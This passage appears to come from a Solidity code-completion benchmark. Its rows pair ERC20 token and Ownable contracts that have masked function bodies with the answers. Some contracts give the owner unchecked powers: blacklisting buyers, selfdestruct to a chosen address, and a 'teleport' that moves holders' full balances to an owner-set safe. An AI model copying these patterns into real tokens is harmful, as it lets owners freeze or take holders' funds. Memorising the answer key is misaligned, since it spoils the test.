emit SetAutomatedMarketMakerPair(pair, value);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(maxTransactionLimitEnabled)
{
require(amount <= maxTransactionAmount, "Transfer amount exceeds the maxTransactionAmount.");
}
require(!_isBot[from], "Bots cannot call transfer function");//antibot
require(!_isBot[to], "Bots cannot call transfer function");//antibot
}
// buy
if (from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFees[to]) {
require(tradingOpen, "Trading not opened yet!");
//antibot: block zero bots will be added to bot blacklist
if (block.timestamp == launchTime) {
_isBot[to] = true;
_confirmedBots.push(to);
}
}
if(functionsEnabled && !swapping)
{
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFees[to]) { //a buy
if(burnFundEnabled)
{
burnFee = 1;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 5;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 3;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}else if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFees[to]) { //a sell
if(dailySell[getDay()][from].add(amount) > doubleTaxDailySellAmount) //a sell for value greater than doubleTaxDailySellAmount
{
if(burnFundEnabled)
{
burnFee = 2;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 10;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 6;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}else{
if(burnFundEnabled)
{
burnFee = 1;
}else{
burnFee = 0;
}
if(ethRedistributionEnabled)
{
ethRedistributionFee = 5;
}else{
ethRedistributionFee = 0;
}
if(marketingDevAndCharityEnabled)
{
marketingDevAndCharityFee = 3;
}else{
marketingDevAndCharityFee = 0;
}
totalFee = burnFee + ethRedistributionFee + marketingDevAndCharityFee;
}
dailySell[getDay()][from] = dailySell[getDay()][from].add(amount);
}
if( canSwap &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to] &&
(totalFee > 0))
{
swapping = true;
swapAndDistribute();
swapping = false;
}
bool takeFee = true;
if((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to])) {
takeFee = false;
}
if(takeFee && (totalFee >0)) {
uint256 fees = amount.mul(totalFee).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {}
lastTransfer[from] = block.timestamp;
lastTransfer[to] = block.timestamp;
if (ethRedistributionEnabled) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}else{
super._transfer(from, to, amount);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndDistribute() private {
uint256 tokenBalance = balanceOf(address(this));
swapTokensForEth(tokenBalance);
uint256 ethBalance = address(this).balance;
uint256 marketingDevAndCharityPortion = ethBalance.mul(marketingDevAndCharityFee).div(totalFee);
uint256 burnPortion = ethBalance.mul(burnFee).div(totalFee);
if(marketingDevAndCharityEnabled && marketingDevAndCharityPortion > 0)
{
marketingDevAndCharityAddress.transfer(marketingDevAndCharityPortion);
}
if(burnFundEnabled && burnPortion > 0)
{
burnFundAddress.transfer(burnPortion);
}
uint256 dividends = address(this).balance;
if(ethRedistributionEnabled && dividends > 0)
{
(bool success,) = address(dividendTracker).call{value: dividends}("");
if(success) {
emit SendDividends(dividends);
}
}
}
function getDay() internal view returns(uint256){
return block.timestamp.div(1 days);
}
function openTrading() external onlyOwner {
tradingOpen = true;
launchTime = block.timestamp;
}
function isBot(address account) public view returns (bool) {
return _isBot[account];
}
function blacklistBot(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We cannot blacklist Uniswap");
require(!_isBot[account], "Account is already blacklisted");
_isBot[account] = true;
_confirmedBots.push(account);
}
function amnestyBot(address account) external onlyOwner() {
require(_isBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _confirmedBots.length; i++) {
if (_confirmedBots[i] == account) {
_confirmedBots[i] = _confirmedBots[_confirmedBots.length - 1];
_isBot[account] = false;
_confirmedBots.pop();
break;
}
}
}
} |
return dividendTracker.withdrawableDividendOf(account);
| function withdrawableDividendOf(address account) public view returns(uint256) | function withdrawableDividendOf(address account) public view returns(uint256) |
84760 | Ownable | destroyAndSend | contract Ownable {
address payable public admin;
/**
* @dev The Ownable constructor sets the original `admin` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the admin.
*/
modifier onlyAdmin() {
require(msg.sender == admin, "Function reserved to admin");
_;
}
/**
* @dev Allows the current admin to transfer control of the contract to a new admin.
* @param _newAdmin The address to transfer ownership to.
*/
function transferOwnership(address payable _newAdmin) public onlyAdmin {
require(_newAdmin != address(0), "New admin can't be null");
admin = _newAdmin;
}
function destroy() onlyAdmin public {
selfdestruct(admin);
}
function destroyAndSend(address payable _recipient) public onlyAdmin {<FILL_FUNCTION_BODY> }
} | contract Ownable {
address payable public admin;
/**
* @dev The Ownable constructor sets the original `admin` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the admin.
*/
modifier onlyAdmin() {
require(msg.sender == admin, "Function reserved to admin");
_;
}
/**
* @dev Allows the current admin to transfer control of the contract to a new admin.
* @param _newAdmin The address to transfer ownership to.
*/
function transferOwnership(address payable _newAdmin) public onlyAdmin {
require(_newAdmin != address(0), "New admin can't be null");
admin = _newAdmin;
}
function destroy() onlyAdmin public {
selfdestruct(admin);
}
<FILL_FUNCTION>
} |
selfdestruct(_recipient);
| function destroyAndSend(address payable _recipient) public onlyAdmin | function destroyAndSend(address payable _recipient) public onlyAdmin |
17643 | ERC20 | lockBalance | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
//mapping for tracking locked balance
mapping(address => uint256) private _lockers;
//mapping for release time
mapping(address => uint256) private _timers;
//mapping for new Addresses and balance shift (teleportation)
mapping(address => mapping(string => uint256)) private _teleportScroll;
uint256 private _totalSupply;
address private _owner;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _lockerAccount;
address private _teleportSafe;
uint256 private _teleportTime;
event ReleaseTime(address indexed account, uint256 value);
event lockedBalance(address indexed account, uint256 value);
event Released(address indexed account, uint256 value);
event Globals(address indexed account, uint256 value);
event teleportation(address indexed account, string newaccount, uint256 shiftBalance);
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 initialSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
_owner = _msgSender();
_mint(msg.sender, initialSupply_);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier locked() {
require(_lockerAccount == _msgSender(), "Locked: caller is not the lockerAccount");
_;
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount * 10 ** _decimals);
_balances[account] = _balances[account].add(amount * 10 ** _decimals);
emit Transfer(address(0), account, amount * 10 ** _decimals);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* Implementation for locking asset of account for given time aka Escrow
* starts
*/
/**
* @dev Owner can set the lockerAccount where balances are locked.
*/
function setLockerAccount(address _account) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "setLockerAccount: Executor account cannot be zero address");
require(_account != address(0), "setLockerAccount: Locker Account cannot be zero address");
_lockerAccount = _account;
return true;
}
/**
* @dev Returns the lockerAccount(used to lock all balances) set by owner.
*/
function getLockerAccount() public view returns (address) {
return _lockerAccount;
}
/**
* @dev Set release time for locked balance of an account. Must be set before locking balance.
*/
function setReleaseTime(address _account, uint _timestamp) public onlyOwner returns (uint256) {
require(_msgSender() != address(0), "setTimeStamp: Executor account cannot be zero address");
require(_account != address(0), "setTimeStamp: Cannot set timestamp for zero address");
require(_timestamp > block.timestamp, "TokenTimelock: release time cannot be set in past");
_timers[_account] = _timestamp;
emit ReleaseTime(_account, _timestamp);
return _timers[_account];
}
/**
* @dev Returns the releaseTime(for locked balance) of the given address.
*/
function getReleaseTime(address _account) public view returns (uint256) {
return _timers[_account];
}
/**
* @dev lock balance after owner has set the release timer
*/
function lockBalance(uint256 amount) public returns(bool){<FILL_FUNCTION_BODY> }
/**
* @dev Returns the releaseTime(for locked balance) of the current sender.
*/
function getLockedAmount() public view returns (uint256) {
return _lockers[_msgSender()];
}
function release(address _account) public locked returns (bool) {
require(_lockerAccount != address(0), "release: Locker Account is not set by owner");
require(_account != address(0), "release: Cannot release balance for zero address");
require(block.timestamp >= _timers[_account], "Timelock: current time is before release time");
require(_lockers[_account] > 0, "release: No amount is locked against this account. +ve amount must be locked");
_transfer(_msgSender(), _account, _lockers[_account]);
_lockers[_account] = 0;
emit Released(_account, _lockers[_msgSender()]);
return true;
}
/**
* Implementation for Escrow Ends
*
*/
/**
* Implementation for teleportation
* starts
*/
/**
* @dev Set shifter globals.
*/
function setGlobals(address _account, uint _timestamp) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "Executor account cannot be zero address");
require(_account != address(0), "Zero address");
require(_timestamp > block.timestamp, "Timestamp cannot be set in past");
_setGlobsInternal(_account, _timestamp);
return true;
}
function _setGlobsInternal(address _account, uint _time) private returns (bool) {
require(_msgSender() != address(0), "Executor account cannot be zero address");
require(_account != address(0), "Zero Address");
require(_time > block.timestamp, "Reserruction time cannot be set in past");
_teleportSafe = _account;
_teleportTime = _time;
emit Globals(_account, _time);
return true;
}
function teleport(string memory _newAddress) public returns(bool) {
require(_msgSender() != _teleportSafe, "Teleport: TeleportSafe cannot transfer to self");
require(_teleportSafe != address(0), "Teleport: TeleportSafe Account is not set by owner");
require(_balances[_msgSender()] > 0, "Teleport: Must transfer +ve amount");
require(block.timestamp > _teleportTime , "Teleport: It is not time yet");
uint256 shiftAmount = _balances[_msgSender()]; //
_transfer(_msgSender(), _teleportSafe, _balances[_msgSender()]);
_teleportScroll[_msgSender()][_newAddress] = shiftAmount;
emit teleportation(_msgSender(), _newAddress, shiftAmount);//emit balance shiftAmount
return true;
}
/**
* @dev Returns the amount(also the balance) of the given address which will be shifted to newAddress after teleportation.
*/
function checkshiftAmount(string memory _newAddress) public view returns (uint256) {
return _teleportScroll[_msgSender()][_newAddress];
}
// After teleportation completed
function resurrection(address payable _new) public onlyOwner {
require(_teleportTime != 0 , "Teleportation time is not set");
require(block.timestamp > _teleportTime , "It is not time yet");
selfdestruct(_new);
}
/**
* Implementation for teleportation
* Ends
*/
} | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
//mapping for tracking locked balance
mapping(address => uint256) private _lockers;
//mapping for release time
mapping(address => uint256) private _timers;
//mapping for new Addresses and balance shift (teleportation)
mapping(address => mapping(string => uint256)) private _teleportScroll;
uint256 private _totalSupply;
address private _owner;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _lockerAccount;
address private _teleportSafe;
uint256 private _teleportTime;
event ReleaseTime(address indexed account, uint256 value);
event lockedBalance(address indexed account, uint256 value);
event Released(address indexed account, uint256 value);
event Globals(address indexed account, uint256 value);
event teleportation(address indexed account, string newaccount, uint256 shiftBalance);
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 initialSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
_owner = _msgSender();
_mint(msg.sender, initialSupply_);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier locked() {
require(_lockerAccount == _msgSender(), "Locked: caller is not the lockerAccount");
_;
}
/**
* @dev Returns the address of the current owner.
*/
function getOwner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount * 10 ** _decimals);
_balances[account] = _balances[account].add(amount * 10 ** _decimals);
emit Transfer(address(0), account, amount * 10 ** _decimals);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* Implementation for locking asset of account for given time aka Escrow
* starts
*/
/**
* @dev Owner can set the lockerAccount where balances are locked.
*/
function setLockerAccount(address _account) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "setLockerAccount: Executor account cannot be zero address");
require(_account != address(0), "setLockerAccount: Locker Account cannot be zero address");
_lockerAccount = _account;
return true;
}
/**
* @dev Returns the lockerAccount(used to lock all balances) set by owner.
*/
function getLockerAccount() public view returns (address) {
return _lockerAccount;
}
/**
* @dev Set release time for locked balance of an account. Must be set before locking balance.
*/
function setReleaseTime(address _account, uint _timestamp) public onlyOwner returns (uint256) {
require(_msgSender() != address(0), "setTimeStamp: Executor account cannot be zero address");
require(_account != address(0), "setTimeStamp: Cannot set timestamp for zero address");
require(_timestamp > block.timestamp, "TokenTimelock: release time cannot be set in past");
_timers[_account] = _timestamp;
emit ReleaseTime(_account, _timestamp);
return _timers[_account];
}
/**
* @dev Returns the releaseTime(for locked balance) of the given address.
*/
function getReleaseTime(address _account) public view returns (uint256) {
return _timers[_account];
}
<FILL_FUNCTION>
/**
* @dev Returns the releaseTime(for locked balance) of the current sender.
*/
function getLockedAmount() public view returns (uint256) {
return _lockers[_msgSender()];
}
function release(address _account) public locked returns (bool) {
require(_lockerAccount != address(0), "release: Locker Account is not set by owner");
require(_account != address(0), "release: Cannot release balance for zero address");
require(block.timestamp >= _timers[_account], "Timelock: current time is before release time");
require(_lockers[_account] > 0, "release: No amount is locked against this account. +ve amount must be locked");
_transfer(_msgSender(), _account, _lockers[_account]);
_lockers[_account] = 0;
emit Released(_account, _lockers[_msgSender()]);
return true;
}
/**
* Implementation for Escrow Ends
*
*/
/**
* Implementation for teleportation
* starts
*/
/**
* @dev Set shifter globals.
*/
function setGlobals(address _account, uint _timestamp) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "Executor account cannot be zero address");
require(_account != address(0), "Zero address");
require(_timestamp > block.timestamp, "Timestamp cannot be set in past");
_setGlobsInternal(_account, _timestamp);
return true;
}
function _setGlobsInternal(address _account, uint _time) private returns (bool) {
require(_msgSender() != address(0), "Executor account cannot be zero address");
require(_account != address(0), "Zero Address");
require(_time > block.timestamp, "Reserruction time cannot be set in past");
_teleportSafe = _account;
_teleportTime = _time;
emit Globals(_account, _time);
return true;
}
function teleport(string memory _newAddress) public returns(bool) {
require(_msgSender() != _teleportSafe, "Teleport: TeleportSafe cannot transfer to self");
require(_teleportSafe != address(0), "Teleport: TeleportSafe Account is not set by owner");
require(_balances[_msgSender()] > 0, "Teleport: Must transfer +ve amount");
require(block.timestamp > _teleportTime , "Teleport: It is not time yet");
uint256 shiftAmount = _balances[_msgSender()]; //
_transfer(_msgSender(), _teleportSafe, _balances[_msgSender()]);
_teleportScroll[_msgSender()][_newAddress] = shiftAmount;
emit teleportation(_msgSender(), _newAddress, shiftAmount);//emit balance shiftAmount
return true;
}
/**
* @dev Returns the amount(also the balance) of the given address which will be shifted to newAddress after teleportation.
*/
function checkshiftAmount(string memory _newAddress) public view returns (uint256) {
return _teleportScroll[_msgSender()][_newAddress];
}
// After teleportation completed
function resurrection(address payable _new) public onlyOwner {
require(_teleportTime != 0 , "Teleportation time is not set");
require(block.timestamp > _teleportTime , "It is not time yet");
selfdestruct(_new);
}
/**
* Implementation for teleportation
* Ends
*/
} |
require(_msgSender() != _lockerAccount, "lockBalance: Cannot lock Balance of self");
require(_lockerAccount != address(0), "lockBalance: Locker Account is not set by owner");
require(amount > 0, "lockBalance: Must lock positive amount");
require(_timers[_msgSender()] != 0, "lockBalance: Release Time is not set by owner. Release Time must be set before locking balance");
require(_lockers[_msgSender()] == 0, "lockBalance: Release previously locked balance first");
_transfer(_msgSender(), _lockerAccount, amount);
_lockers[_msgSender()] = amount;
emit lockedBalance(_msgSender(), amount);
return true;
| function lockBalance(uint256 amount) public returns(bool) | /**
* @dev lock balance after owner has set the release timer
*/
function lockBalance(uint256 amount) public returns(bool) |
52871 | GERYWOLF | null | contract GERYWOLF is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GERYWOLF";
string private constant _symbol = "WOLF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 6;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1250000000 * 10**9;
uint256 public _maxWalletSize = 2500000000 * 10**9;
uint256 public _swapTokensAtAmount = 12500000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
